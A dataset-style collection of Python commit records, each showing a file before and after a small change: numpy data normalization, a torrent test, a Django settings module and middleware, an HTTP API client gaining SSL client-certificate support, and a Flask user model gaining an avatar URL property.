import numpy as np from sklearn import preprocessing as pp print('normalization function imported') #normalize data in respect with keys in dictionary def normalize_data(data): # get keys from original data gestures = list(data) # create empty dictionary to store normalized data with gestures gdata = {} # get max/min of x/y across samples and frames for gesture in gestures: data_gesture = np.asarray(data[gesture]) max_x = np.max(data_gesture[:,:,:,:,0]) min_x = np.min(data_gesture[:,:,:,:,0]) max_y = np.max(data_gesture[:,:,:,:,1]) min_y = np.min(data_gesture[:,:,:,:,1]) data_gesture[:,:,:,:,0]=(data_gesture[:,:,:,:,0]-min_x)/(max_x - min_x) data_gesture[:,:,:,:,1]=(data_gesture[:,:,:,:,1]-min_y)/(max_y - min_y) #store normalized data into dictionary gdata[gesture] = data_gesture data = gdata return data return print('data normalized') Replace integer indices with ellipsisimport numpy as np from sklearn import preprocessing as pp print('normalization function imported') #normalize data in respect with keys in dictionary def normalize_data(data): # get keys from original data gestures = list(data) # create empty dictionary to store normalized data with gestures gdata = {} # get max/min of x/y across samples and frames for gesture in gestures: data_gesture = np.asarray(data[gesture]) max_x = np.max(data_gesture[...,0]) min_x = np.min(data_gesture[...,0]) max_y = np.max(data_gesture[...,1]) min_y = np.min(data_gesture[...,1]) data_gesture[...,0]=(data_gesture[...,0]-min_x)/(max_x - min_x) data_gesture[...,1]=(data_gesture[...,1]-min_y)/(max_y - min_y) #store normalized data into dictionary gdata[gesture] = data_gesture data = gdata return data return print('data normalized')
<commit_before>import numpy as np from sklearn import preprocessing as pp print('normalization function imported') #normalize data in respect with keys in dictionary def normalize_data(data): # get keys from original data gestures = list(data) # create empty dictionary to store normalized data with gestures gdata = {} # get max/min of x/y across samples and frames for gesture in gestures: data_gesture = np.asarray(data[gesture]) max_x = np.max(data_gesture[:,:,:,:,0]) min_x = np.min(data_gesture[:,:,:,:,0]) max_y = np.max(data_gesture[:,:,:,:,1]) min_y = np.min(data_gesture[:,:,:,:,1]) data_gesture[:,:,:,:,0]=(data_gesture[:,:,:,:,0]-min_x)/(max_x - min_x) data_gesture[:,:,:,:,1]=(data_gesture[:,:,:,:,1]-min_y)/(max_y - min_y) #store normalized data into dictionary gdata[gesture] = data_gesture data = gdata return data return print('data normalized') <commit_msg>Replace integer indices with ellipsis<commit_after>import numpy as np from sklearn import preprocessing as pp print('normalization function imported') #normalize data in respect with keys in dictionary def normalize_data(data): # get keys from original data gestures = list(data) # create empty dictionary to store normalized data with gestures gdata = {} # get max/min of x/y across samples and frames for gesture in gestures: data_gesture = np.asarray(data[gesture]) max_x = np.max(data_gesture[...,0]) min_x = np.min(data_gesture[...,0]) max_y = np.max(data_gesture[...,1]) min_y = np.min(data_gesture[...,1]) data_gesture[...,0]=(data_gesture[...,0]-min_x)/(max_x - min_x) data_gesture[...,1]=(data_gesture[...,1]-min_y)/(max_y - min_y) #store normalized data into dictionary gdata[gesture] = data_gesture data = gdata return data return print('data normalized')
1406d59a2588bc796404d8dde906f85e8169dc6f
xirvik/test/test_util.py
xirvik/test/test_util.py
import unittest from bencodepy import encode as bencode from xirvik.util import verify_torrent_contents, VerificationError def create_torrent(path, save_to=None, piece_length=256): pass def create_random_data_file(path, size=2306867): """size is intentionally a non-power of 2""" pass class TestTorrentVerfication(unittest.TestCase): def setUp(self): self.torrent_data = bencode({ b'info': { b'name': 'Test torrent', b'piece length': 20, b'pieces': '', b'files': [ { b'path': '', }, ], } }) def test_verify_torrent_contents(self): verify_torrent_contents() if __name__ == '__main__': unittest.main()
import unittest from bencodepy import encode as bencode from xirvik.util import verify_torrent_contents, VerificationError def create_torrent(path, save_to=None, piece_length=256): pass def create_random_data_file(path, size=2306867): """size is intentionally a non-power of 2""" pass class TestTorrentVerfication(unittest.TestCase): def setUp(self): self.torrent_data = bencode({ b'info': { b'name': 'Test torrent', b'piece length': 20, b'pieces': '', b'files': [ { b'path': '', }, ], } }) #def test_verify_torrent_contents(self): #verify_torrent_contents() if __name__ == '__main__': unittest.main()
Comment out unfinished test in util
Comment out unfinished test in util
Python
mit
Tatsh/xirvik-tools
import unittest from bencodepy import encode as bencode from xirvik.util import verify_torrent_contents, VerificationError def create_torrent(path, save_to=None, piece_length=256): pass def create_random_data_file(path, size=2306867): """size is intentionally a non-power of 2""" pass class TestTorrentVerfication(unittest.TestCase): def setUp(self): self.torrent_data = bencode({ b'info': { b'name': 'Test torrent', b'piece length': 20, b'pieces': '', b'files': [ { b'path': '', }, ], } }) def test_verify_torrent_contents(self): verify_torrent_contents() if __name__ == '__main__': unittest.main() Comment out unfinished test in util
import unittest from bencodepy import encode as bencode from xirvik.util import verify_torrent_contents, VerificationError def create_torrent(path, save_to=None, piece_length=256): pass def create_random_data_file(path, size=2306867): """size is intentionally a non-power of 2""" pass class TestTorrentVerfication(unittest.TestCase): def setUp(self): self.torrent_data = bencode({ b'info': { b'name': 'Test torrent', b'piece length': 20, b'pieces': '', b'files': [ { b'path': '', }, ], } }) #def test_verify_torrent_contents(self): #verify_torrent_contents() if __name__ == '__main__': unittest.main()
<commit_before>import unittest from bencodepy import encode as bencode from xirvik.util import verify_torrent_contents, VerificationError def create_torrent(path, save_to=None, piece_length=256): pass def create_random_data_file(path, size=2306867): """size is intentionally a non-power of 2""" pass class TestTorrentVerfication(unittest.TestCase): def setUp(self): self.torrent_data = bencode({ b'info': { b'name': 'Test torrent', b'piece length': 20, b'pieces': '', b'files': [ { b'path': '', }, ], } }) def test_verify_torrent_contents(self): verify_torrent_contents() if __name__ == '__main__': unittest.main() <commit_msg>Comment out unfinished test in util<commit_after>
import unittest from bencodepy import encode as bencode from xirvik.util import verify_torrent_contents, VerificationError def create_torrent(path, save_to=None, piece_length=256): pass def create_random_data_file(path, size=2306867): """size is intentionally a non-power of 2""" pass class TestTorrentVerfication(unittest.TestCase): def setUp(self): self.torrent_data = bencode({ b'info': { b'name': 'Test torrent', b'piece length': 20, b'pieces': '', b'files': [ { b'path': '', }, ], } }) #def test_verify_torrent_contents(self): #verify_torrent_contents() if __name__ == '__main__': unittest.main()
import unittest from bencodepy import encode as bencode from xirvik.util import verify_torrent_contents, VerificationError def create_torrent(path, save_to=None, piece_length=256): pass def create_random_data_file(path, size=2306867): """size is intentionally a non-power of 2""" pass class TestTorrentVerfication(unittest.TestCase): def setUp(self): self.torrent_data = bencode({ b'info': { b'name': 'Test torrent', b'piece length': 20, b'pieces': '', b'files': [ { b'path': '', }, ], } }) def test_verify_torrent_contents(self): verify_torrent_contents() if __name__ == '__main__': unittest.main() Comment out unfinished test in utilimport unittest from bencodepy import encode as bencode from xirvik.util import verify_torrent_contents, VerificationError def create_torrent(path, save_to=None, piece_length=256): pass def create_random_data_file(path, size=2306867): """size is intentionally a non-power of 2""" pass class TestTorrentVerfication(unittest.TestCase): def setUp(self): self.torrent_data = bencode({ b'info': { b'name': 'Test torrent', b'piece length': 20, b'pieces': '', b'files': [ { b'path': '', }, ], } }) #def test_verify_torrent_contents(self): #verify_torrent_contents() if __name__ == '__main__': unittest.main()
<commit_before>import unittest from bencodepy import encode as bencode from xirvik.util import verify_torrent_contents, VerificationError def create_torrent(path, save_to=None, piece_length=256): pass def create_random_data_file(path, size=2306867): """size is intentionally a non-power of 2""" pass class TestTorrentVerfication(unittest.TestCase): def setUp(self): self.torrent_data = bencode({ b'info': { b'name': 'Test torrent', b'piece length': 20, b'pieces': '', b'files': [ { b'path': '', }, ], } }) def test_verify_torrent_contents(self): verify_torrent_contents() if __name__ == '__main__': unittest.main() <commit_msg>Comment out unfinished test in util<commit_after>import unittest from bencodepy import encode as bencode from xirvik.util import verify_torrent_contents, VerificationError def create_torrent(path, save_to=None, piece_length=256): pass def create_random_data_file(path, size=2306867): """size is intentionally a non-power of 2""" pass class TestTorrentVerfication(unittest.TestCase): def setUp(self): self.torrent_data = bencode({ b'info': { b'name': 'Test torrent', b'piece length': 20, b'pieces': '', b'files': [ { b'path': '', }, ], } }) #def test_verify_torrent_contents(self): #verify_torrent_contents() if __name__ == '__main__': unittest.main()
b13a92bb9c7c2aa495a3f1dc1ddf10235868b068
chinup/settings.py
chinup/settings.py
from __future__ import absolute_import, unicode_literals APP_TOKEN = None DEBUG = False DEBUG_REQUESTS = DEBUG DEBUG_HEADERS = False TESTING = False ETAGS = True CACHE = None try: from django.conf import settings except ImportError: pass else: for name in dir(settings): if name.startswith('CHINUP_'): locals()[name[7:]] = getattr(settings, name) __all__ = [name for name in locals() if name.isupper()]
from __future__ import absolute_import, unicode_literals APP_TOKEN = None DEBUG = False DEBUG_REQUESTS = DEBUG DEBUG_HEADERS = False TESTING = False ETAGS = True CACHE = None try: from django.conf import settings except ImportError: pass else: for name in dir(settings): if name.startswith('CHINUP_'): locals()[name[7:]] = getattr(settings, name) __all__ = [name for name in locals().keys() if name.isupper()]
Fix RuntimeError: dictionary changed size during iteration
Fix RuntimeError: dictionary changed size during iteration
Python
mit
pagepart/chinup
from __future__ import absolute_import, unicode_literals APP_TOKEN = None DEBUG = False DEBUG_REQUESTS = DEBUG DEBUG_HEADERS = False TESTING = False ETAGS = True CACHE = None try: from django.conf import settings except ImportError: pass else: for name in dir(settings): if name.startswith('CHINUP_'): locals()[name[7:]] = getattr(settings, name) __all__ = [name for name in locals() if name.isupper()] Fix RuntimeError: dictionary changed size during iteration
from __future__ import absolute_import, unicode_literals APP_TOKEN = None DEBUG = False DEBUG_REQUESTS = DEBUG DEBUG_HEADERS = False TESTING = False ETAGS = True CACHE = None try: from django.conf import settings except ImportError: pass else: for name in dir(settings): if name.startswith('CHINUP_'): locals()[name[7:]] = getattr(settings, name) __all__ = [name for name in locals().keys() if name.isupper()]
<commit_before>from __future__ import absolute_import, unicode_literals APP_TOKEN = None DEBUG = False DEBUG_REQUESTS = DEBUG DEBUG_HEADERS = False TESTING = False ETAGS = True CACHE = None try: from django.conf import settings except ImportError: pass else: for name in dir(settings): if name.startswith('CHINUP_'): locals()[name[7:]] = getattr(settings, name) __all__ = [name for name in locals() if name.isupper()] <commit_msg>Fix RuntimeError: dictionary changed size during iteration<commit_after>
from __future__ import absolute_import, unicode_literals APP_TOKEN = None DEBUG = False DEBUG_REQUESTS = DEBUG DEBUG_HEADERS = False TESTING = False ETAGS = True CACHE = None try: from django.conf import settings except ImportError: pass else: for name in dir(settings): if name.startswith('CHINUP_'): locals()[name[7:]] = getattr(settings, name) __all__ = [name for name in locals().keys() if name.isupper()]
from __future__ import absolute_import, unicode_literals APP_TOKEN = None DEBUG = False DEBUG_REQUESTS = DEBUG DEBUG_HEADERS = False TESTING = False ETAGS = True CACHE = None try: from django.conf import settings except ImportError: pass else: for name in dir(settings): if name.startswith('CHINUP_'): locals()[name[7:]] = getattr(settings, name) __all__ = [name for name in locals() if name.isupper()] Fix RuntimeError: dictionary changed size during iterationfrom __future__ import absolute_import, unicode_literals APP_TOKEN = None DEBUG = False DEBUG_REQUESTS = DEBUG DEBUG_HEADERS = False TESTING = False ETAGS = True CACHE = None try: from django.conf import settings except ImportError: pass else: for name in dir(settings): if name.startswith('CHINUP_'): locals()[name[7:]] = getattr(settings, name) __all__ = [name for name in locals().keys() if name.isupper()]
<commit_before>from __future__ import absolute_import, unicode_literals APP_TOKEN = None DEBUG = False DEBUG_REQUESTS = DEBUG DEBUG_HEADERS = False TESTING = False ETAGS = True CACHE = None try: from django.conf import settings except ImportError: pass else: for name in dir(settings): if name.startswith('CHINUP_'): locals()[name[7:]] = getattr(settings, name) __all__ = [name for name in locals() if name.isupper()] <commit_msg>Fix RuntimeError: dictionary changed size during iteration<commit_after>from __future__ import absolute_import, unicode_literals APP_TOKEN = None DEBUG = False DEBUG_REQUESTS = DEBUG DEBUG_HEADERS = False TESTING = False ETAGS = True CACHE = None try: from django.conf import settings except ImportError: pass else: for name in dir(settings): if name.startswith('CHINUP_'): locals()[name[7:]] = getattr(settings, name) __all__ = [name for name in locals().keys() if name.isupper()]
a6702e839eec2b4d6d75f4126ed975456e9795dc
contacts/middleware.py
contacts/middleware.py
import logging from django.http import Http404 from gargoyle import gargoyle from contacts.models import Book sentry = logging.getLogger('sentry') class ContactBookMiddleware(object): def process_view(self, request, view_func, view_args, view_kwargs): if hasattr(request, 'user'): if request.user.is_authenticated(): books = Book.objects.filter_for_user(request.user) request.current_book = None if gargoyle.is_active('multi_book', request): request.books = books request.current_book = books[0] if 'book' in view_kwargs: current_book = request.books.filter(id=view_kwargs['book']) if current_book: request.current_book = current_book else: return Http404 else: if books: request.current_book = books[0] else: request.current_book = None sentry.error("No book found for user", exc_info=True, extra={"user": user} ) if ( gargoyle.is_active('enable_payments', request) and request.current_book ): request.can_invite = ( request.current_book.plan and not request.current_book.plan.startswith('basic') ) else: request.can_invite = True
import logging from django.http import Http404 from gargoyle import gargoyle from contacts.models import Book sentry = logging.getLogger('sentry') class ContactBookMiddleware(object): def process_view(self, request, view_func, view_args, view_kwargs): # CONTRACT: At the end of this, if the user is authenticate, # request.current_book _must_ be populated with a valid book, and # request.books _must_ be a list of Books with length greater than 1. if hasattr(request, 'user'): if request.user.is_authenticated(): request.books = Book.objects.filter_for_user(request.user) request.current_book = None if request.books: if 'book' in view_kwargs: current_book = request.books.filter(id=view_kwargs['book']) if current_book: request.current_book = current_book else: return Http404 else: request.current_book = request.books[0] else: sentry.error("No book found for user", exc_info=True, extra={"user": user} ) request.current_book = Book.objects.create_for_user(request.user) request.books = Book.objects.filter_for_user(request.user) if ( gargoyle.is_active('enable_payments', request) and request.current_book ): request.can_invite = ( request.current_book.plan and not request.current_book.plan.startswith('basic') ) else: request.can_invite = True
Update ContactBook Middleware to obey contract
Update ContactBook Middleware to obey contract
Python
mit
phildini/logtacts,phildini/logtacts,phildini/logtacts,phildini/logtacts,phildini/logtacts
import logging from django.http import Http404 from gargoyle import gargoyle from contacts.models import Book sentry = logging.getLogger('sentry') class ContactBookMiddleware(object): def process_view(self, request, view_func, view_args, view_kwargs): if hasattr(request, 'user'): if request.user.is_authenticated(): books = Book.objects.filter_for_user(request.user) request.current_book = None if gargoyle.is_active('multi_book', request): request.books = books request.current_book = books[0] if 'book' in view_kwargs: current_book = request.books.filter(id=view_kwargs['book']) if current_book: request.current_book = current_book else: return Http404 else: if books: request.current_book = books[0] else: request.current_book = None sentry.error("No book found for user", exc_info=True, extra={"user": user} ) if ( gargoyle.is_active('enable_payments', request) and request.current_book ): request.can_invite = ( request.current_book.plan and not request.current_book.plan.startswith('basic') ) else: request.can_invite = True Update ContactBook Middleware to obey contract
import logging from django.http import Http404 from gargoyle import gargoyle from contacts.models import Book sentry = logging.getLogger('sentry') class ContactBookMiddleware(object): def process_view(self, request, view_func, view_args, view_kwargs): # CONTRACT: At the end of this, if the user is authenticate, # request.current_book _must_ be populated with a valid book, and # request.books _must_ be a list of Books with length greater than 1. if hasattr(request, 'user'): if request.user.is_authenticated(): request.books = Book.objects.filter_for_user(request.user) request.current_book = None if request.books: if 'book' in view_kwargs: current_book = request.books.filter(id=view_kwargs['book']) if current_book: request.current_book = current_book else: return Http404 else: request.current_book = request.books[0] else: sentry.error("No book found for user", exc_info=True, extra={"user": user} ) request.current_book = Book.objects.create_for_user(request.user) request.books = Book.objects.filter_for_user(request.user) if ( gargoyle.is_active('enable_payments', request) and request.current_book ): request.can_invite = ( request.current_book.plan and not request.current_book.plan.startswith('basic') ) else: request.can_invite = True
<commit_before>import logging from django.http import Http404 from gargoyle import gargoyle from contacts.models import Book sentry = logging.getLogger('sentry') class ContactBookMiddleware(object): def process_view(self, request, view_func, view_args, view_kwargs): if hasattr(request, 'user'): if request.user.is_authenticated(): books = Book.objects.filter_for_user(request.user) request.current_book = None if gargoyle.is_active('multi_book', request): request.books = books request.current_book = books[0] if 'book' in view_kwargs: current_book = request.books.filter(id=view_kwargs['book']) if current_book: request.current_book = current_book else: return Http404 else: if books: request.current_book = books[0] else: request.current_book = None sentry.error("No book found for user", exc_info=True, extra={"user": user} ) if ( gargoyle.is_active('enable_payments', request) and request.current_book ): request.can_invite = ( request.current_book.plan and not request.current_book.plan.startswith('basic') ) else: request.can_invite = True <commit_msg>Update ContactBook Middleware to obey contract<commit_after>
import logging from django.http import Http404 from gargoyle import gargoyle from contacts.models import Book sentry = logging.getLogger('sentry') class ContactBookMiddleware(object): def process_view(self, request, view_func, view_args, view_kwargs): # CONTRACT: At the end of this, if the user is authenticate, # request.current_book _must_ be populated with a valid book, and # request.books _must_ be a list of Books with length greater than 1. if hasattr(request, 'user'): if request.user.is_authenticated(): request.books = Book.objects.filter_for_user(request.user) request.current_book = None if request.books: if 'book' in view_kwargs: current_book = request.books.filter(id=view_kwargs['book']) if current_book: request.current_book = current_book else: return Http404 else: request.current_book = request.books[0] else: sentry.error("No book found for user", exc_info=True, extra={"user": user} ) request.current_book = Book.objects.create_for_user(request.user) request.books = Book.objects.filter_for_user(request.user) if ( gargoyle.is_active('enable_payments', request) and request.current_book ): request.can_invite = ( request.current_book.plan and not request.current_book.plan.startswith('basic') ) else: request.can_invite = True
import logging from django.http import Http404 from gargoyle import gargoyle from contacts.models import Book sentry = logging.getLogger('sentry') class ContactBookMiddleware(object): def process_view(self, request, view_func, view_args, view_kwargs): if hasattr(request, 'user'): if request.user.is_authenticated(): books = Book.objects.filter_for_user(request.user) request.current_book = None if gargoyle.is_active('multi_book', request): request.books = books request.current_book = books[0] if 'book' in view_kwargs: current_book = request.books.filter(id=view_kwargs['book']) if current_book: request.current_book = current_book else: return Http404 else: if books: request.current_book = books[0] else: request.current_book = None sentry.error("No book found for user", exc_info=True, extra={"user": user} ) if ( gargoyle.is_active('enable_payments', request) and request.current_book ): request.can_invite = ( request.current_book.plan and not request.current_book.plan.startswith('basic') ) else: request.can_invite = True Update ContactBook Middleware to obey contractimport logging from django.http import Http404 from gargoyle import gargoyle from contacts.models import Book sentry = logging.getLogger('sentry') class ContactBookMiddleware(object): def process_view(self, request, view_func, view_args, view_kwargs): # CONTRACT: At the end of this, if the user is authenticate, # request.current_book _must_ be populated with a valid book, and # request.books _must_ be a list of Books with length greater than 1. if hasattr(request, 'user'): if request.user.is_authenticated(): request.books = Book.objects.filter_for_user(request.user) request.current_book = None if request.books: if 'book' in view_kwargs: current_book = request.books.filter(id=view_kwargs['book']) if current_book: request.current_book = current_book else: return Http404 else: request.current_book = request.books[0] else: sentry.error("No book found for user", exc_info=True, extra={"user": user} ) request.current_book = Book.objects.create_for_user(request.user) request.books = Book.objects.filter_for_user(request.user) if ( gargoyle.is_active('enable_payments', request) and request.current_book ): request.can_invite = ( request.current_book.plan and not request.current_book.plan.startswith('basic') ) else: request.can_invite = True
<commit_before>import logging from django.http import Http404 from gargoyle import gargoyle from contacts.models import Book sentry = logging.getLogger('sentry') class ContactBookMiddleware(object): def process_view(self, request, view_func, view_args, view_kwargs): if hasattr(request, 'user'): if request.user.is_authenticated(): books = Book.objects.filter_for_user(request.user) request.current_book = None if gargoyle.is_active('multi_book', request): request.books = books request.current_book = books[0] if 'book' in view_kwargs: current_book = request.books.filter(id=view_kwargs['book']) if current_book: request.current_book = current_book else: return Http404 else: if books: request.current_book = books[0] else: request.current_book = None sentry.error("No book found for user", exc_info=True, extra={"user": user} ) if ( gargoyle.is_active('enable_payments', request) and request.current_book ): request.can_invite = ( request.current_book.plan and not request.current_book.plan.startswith('basic') ) else: request.can_invite = True <commit_msg>Update ContactBook Middleware to obey contract<commit_after>import logging from django.http import Http404 from gargoyle import gargoyle from contacts.models import Book sentry = logging.getLogger('sentry') class ContactBookMiddleware(object): def process_view(self, request, view_func, view_args, view_kwargs): # CONTRACT: At the end of this, if the user is authenticate, # request.current_book _must_ be populated with a valid book, and # request.books _must_ be a list of Books with length greater than 1. if hasattr(request, 'user'): if request.user.is_authenticated(): request.books = Book.objects.filter_for_user(request.user) request.current_book = None if request.books: if 'book' in view_kwargs: current_book = request.books.filter(id=view_kwargs['book']) if current_book: request.current_book = current_book else: return Http404 else: request.current_book = request.books[0] else: sentry.error("No book found for user", exc_info=True, extra={"user": user} ) request.current_book = Book.objects.create_for_user(request.user) request.books = Book.objects.filter_for_user(request.user) if ( gargoyle.is_active('enable_payments', request) and request.current_book ): request.can_invite = ( request.current_book.plan and not request.current_book.plan.startswith('basic') ) else: request.can_invite = True
32410e639f3202c10d9c75083319a9ab81932b82
client/api.py
client/api.py
# Client uses HTTP API import os import sys import json import urllib import urllib2 import cookielib sys.path.append((os.path.dirname(__file__) or ".") + "/../") import config cj = cookielib.CookieJar() def callapi(action, postdata={}): postdata.update({"action": action}) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [("User-Agent", "pyWebCash Scraper")] f = opener.open(config.apiurl,urllib.urlencode(postdata)) data = f.read() return json.loads(data)
# Client uses HTTP API import os import sys import json import urllib import httplib import urllib2 import cookielib sys.path.append((os.path.dirname(__file__) or ".") + "/../") import config cj = cookielib.CookieJar() class HTTPSClientAuthHandler(urllib2.HTTPSHandler): def __init__(self, key): urllib2.HTTPSHandler.__init__(self) self.key = key def https_open(self, req): # Rather than pass in a reference to a connection class, we pass in # a reference to a function which, for all intents and purposes, # will behave as a constructor return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=300): return httplib.HTTPSConnection(host, key_file=self.key, cert_file=self.key) def callapi(action, postdata={}): postdata.update({"action": action}) if config.certfile: opener = urllib2.build_opener(HTTPSClientAuthHandler(config.certfile), urllib2.HTTPCookieProcessor(cj)) else: opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [("User-Agent", "pyWebCash Scraper")] f = opener.open(config.apiurl,urllib.urlencode(postdata)) data = f.read() return json.loads(data)
Use ssl client cert if given.
Use ssl client cert if given.
Python
agpl-3.0
vincebusam/pyWebCash,vincebusam/pyWebCash,vincebusam/pyWebCash
# Client uses HTTP API import os import sys import json import urllib import urllib2 import cookielib sys.path.append((os.path.dirname(__file__) or ".") + "/../") import config cj = cookielib.CookieJar() def callapi(action, postdata={}): postdata.update({"action": action}) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [("User-Agent", "pyWebCash Scraper")] f = opener.open(config.apiurl,urllib.urlencode(postdata)) data = f.read() return json.loads(data) Use ssl client cert if given.
# Client uses HTTP API import os import sys import json import urllib import httplib import urllib2 import cookielib sys.path.append((os.path.dirname(__file__) or ".") + "/../") import config cj = cookielib.CookieJar() class HTTPSClientAuthHandler(urllib2.HTTPSHandler): def __init__(self, key): urllib2.HTTPSHandler.__init__(self) self.key = key def https_open(self, req): # Rather than pass in a reference to a connection class, we pass in # a reference to a function which, for all intents and purposes, # will behave as a constructor return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=300): return httplib.HTTPSConnection(host, key_file=self.key, cert_file=self.key) def callapi(action, postdata={}): postdata.update({"action": action}) if config.certfile: opener = urllib2.build_opener(HTTPSClientAuthHandler(config.certfile), urllib2.HTTPCookieProcessor(cj)) else: opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [("User-Agent", "pyWebCash Scraper")] f = opener.open(config.apiurl,urllib.urlencode(postdata)) data = f.read() return json.loads(data)
<commit_before># Client uses HTTP API import os import sys import json import urllib import urllib2 import cookielib sys.path.append((os.path.dirname(__file__) or ".") + "/../") import config cj = cookielib.CookieJar() def callapi(action, postdata={}): postdata.update({"action": action}) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [("User-Agent", "pyWebCash Scraper")] f = opener.open(config.apiurl,urllib.urlencode(postdata)) data = f.read() return json.loads(data) <commit_msg>Use ssl client cert if given.<commit_after>
# Client uses HTTP API import os import sys import json import urllib import httplib import urllib2 import cookielib sys.path.append((os.path.dirname(__file__) or ".") + "/../") import config cj = cookielib.CookieJar() class HTTPSClientAuthHandler(urllib2.HTTPSHandler): def __init__(self, key): urllib2.HTTPSHandler.__init__(self) self.key = key def https_open(self, req): # Rather than pass in a reference to a connection class, we pass in # a reference to a function which, for all intents and purposes, # will behave as a constructor return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=300): return httplib.HTTPSConnection(host, key_file=self.key, cert_file=self.key) def callapi(action, postdata={}): postdata.update({"action": action}) if config.certfile: opener = urllib2.build_opener(HTTPSClientAuthHandler(config.certfile), urllib2.HTTPCookieProcessor(cj)) else: opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [("User-Agent", "pyWebCash Scraper")] f = opener.open(config.apiurl,urllib.urlencode(postdata)) data = f.read() return json.loads(data)
# Client uses HTTP API import os import sys import json import urllib import urllib2 import cookielib sys.path.append((os.path.dirname(__file__) or ".") + "/../") import config cj = cookielib.CookieJar() def callapi(action, postdata={}): postdata.update({"action": action}) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [("User-Agent", "pyWebCash Scraper")] f = opener.open(config.apiurl,urllib.urlencode(postdata)) data = f.read() return json.loads(data) Use ssl client cert if given.# Client uses HTTP API import os import sys import json import urllib import httplib import urllib2 import cookielib sys.path.append((os.path.dirname(__file__) or ".") + "/../") import config cj = cookielib.CookieJar() class HTTPSClientAuthHandler(urllib2.HTTPSHandler): def __init__(self, key): urllib2.HTTPSHandler.__init__(self) self.key = key def https_open(self, req): # Rather than pass in a reference to a connection class, we pass in # a reference to a function which, for all intents and purposes, # will behave as a constructor return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=300): return httplib.HTTPSConnection(host, key_file=self.key, cert_file=self.key) def callapi(action, postdata={}): postdata.update({"action": action}) if config.certfile: opener = urllib2.build_opener(HTTPSClientAuthHandler(config.certfile), urllib2.HTTPCookieProcessor(cj)) else: opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [("User-Agent", "pyWebCash Scraper")] f = opener.open(config.apiurl,urllib.urlencode(postdata)) data = f.read() return json.loads(data)
<commit_before># Client uses HTTP API import os import sys import json import urllib import urllib2 import cookielib sys.path.append((os.path.dirname(__file__) or ".") + "/../") import config cj = cookielib.CookieJar() def callapi(action, postdata={}): postdata.update({"action": action}) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [("User-Agent", "pyWebCash Scraper")] f = opener.open(config.apiurl,urllib.urlencode(postdata)) data = f.read() return json.loads(data) <commit_msg>Use ssl client cert if given.<commit_after># Client uses HTTP API import os import sys import json import urllib import httplib import urllib2 import cookielib sys.path.append((os.path.dirname(__file__) or ".") + "/../") import config cj = cookielib.CookieJar() class HTTPSClientAuthHandler(urllib2.HTTPSHandler): def __init__(self, key): urllib2.HTTPSHandler.__init__(self) self.key = key def https_open(self, req): # Rather than pass in a reference to a connection class, we pass in # a reference to a function which, for all intents and purposes, # will behave as a constructor return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=300): return httplib.HTTPSConnection(host, key_file=self.key, cert_file=self.key) def callapi(action, postdata={}): postdata.update({"action": action}) if config.certfile: opener = urllib2.build_opener(HTTPSClientAuthHandler(config.certfile), urllib2.HTTPCookieProcessor(cj)) else: opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [("User-Agent", "pyWebCash Scraper")] f = opener.open(config.apiurl,urllib.urlencode(postdata)) data = f.read() return json.loads(data)
f13c08b2793b72f373785d2fa5b004ec79da93d6
flask_boost/project/application/models/user.py
flask_boost/project/application/models/user.py
# coding: utf-8 from datetime import datetime from werkzeug.security import generate_password_hash, check_password_hash from ._base import db class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), unique=True) email = db.Column(db.String(50), unique=True) avatar = db.Column(db.String(200)) password = db.Column(db.String(200)) is_admin = db.Column(db.Boolean, default=False) created_at = db.Column(db.DateTime, default=datetime.now) def __setattr__(self, name, value): # Hash password when set it. if name == 'password': value = generate_password_hash(value) super(User, self).__setattr__(name, value) def check_password(self, password): return check_password_hash(self.password, password) def __repr__(self): return '<User %s>' % self.name
# coding: utf-8 from datetime import datetime from werkzeug.security import generate_password_hash, check_password_hash from ._base import db from ..utils.uploadsets import avatars class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), unique=True) email = db.Column(db.String(50), unique=True) avatar = db.Column(db.String(200), default='default.png') password = db.Column(db.String(200)) is_admin = db.Column(db.Boolean, default=False) created_at = db.Column(db.DateTime, default=datetime.now) def __setattr__(self, name, value): # Hash password when set it. if name == 'password': value = generate_password_hash(value) super(User, self).__setattr__(name, value) def check_password(self, password): return check_password_hash(self.password, password) @property def avatar_url(self): return avatars.url(self.avatar) def __repr__(self): return '<User %s>' % self.name
Add avatar_url property to User.
Add avatar_url property to User.
Python
mit
1045347128/Flask-Boost,hustlzp/Flask-Boost,hustlzp/Flask-Boost,1045347128/Flask-Boost,1045347128/Flask-Boost,1045347128/Flask-Boost,hustlzp/Flask-Boost,hustlzp/Flask-Boost
# coding: utf-8 from datetime import datetime from werkzeug.security import generate_password_hash, check_password_hash from ._base import db class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), unique=True) email = db.Column(db.String(50), unique=True) avatar = db.Column(db.String(200)) password = db.Column(db.String(200)) is_admin = db.Column(db.Boolean, default=False) created_at = db.Column(db.DateTime, default=datetime.now) def __setattr__(self, name, value): # Hash password when set it. if name == 'password': value = generate_password_hash(value) super(User, self).__setattr__(name, value) def check_password(self, password): return check_password_hash(self.password, password) def __repr__(self): return '<User %s>' % self.name Add avatar_url property to User.
